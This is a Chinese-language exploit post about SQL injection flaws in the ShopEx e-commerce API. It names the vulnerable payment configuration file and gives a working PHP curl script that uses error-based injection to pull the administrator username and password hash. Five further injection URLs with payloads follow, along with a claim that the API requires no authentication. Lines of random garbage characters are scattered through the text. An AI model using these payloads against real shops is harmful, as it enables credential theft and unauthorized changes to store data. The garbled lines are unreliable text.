shopEx最新版的API注入漏洞分析附利用exp

admin

缺陷文件：\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
& n. e% C4 Z5 z, ?$ [6 @% J, |core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
% Q8 s8 O1 p7 n
# L5 l4 i! z& h  n1 M第44行 $data['columns'] 未做过滤导致注入
9 L( w+ J' L; m4 K+ E
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证，任何用户都可访问,攻击者可通过它来对产品的分类，类型，规格，品牌等，进行添加，删除和修改，过滤不当还可造成注入.
1 K0 S) Q. ], X5 h% Q: q
注射1：
% V5 N* ]6 Y. O) h6 i
( d' l6 }& ]4 G7 p$ thttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
% @4 |+ {# `' y. c7 K
注射2：
8 e5 i7 L4 h# Vhttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}

注射3：
  http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
注射4：
/ f5 e* e2 X8 ^$ q$ C: n
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
" k, Q6 A9 ?8 t, X& }% ?" e) k
% k9 w- ~2 I6 r* M
注射5：
  http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx

6 ]3 P" z) e' y
. T; z/ S$ a3 _& K0 J
6 C; Y9 m$ Z/ U9 c/ ]- {$ d3 M

$ S' H6 Q" _: H- d+ I' z' D7 h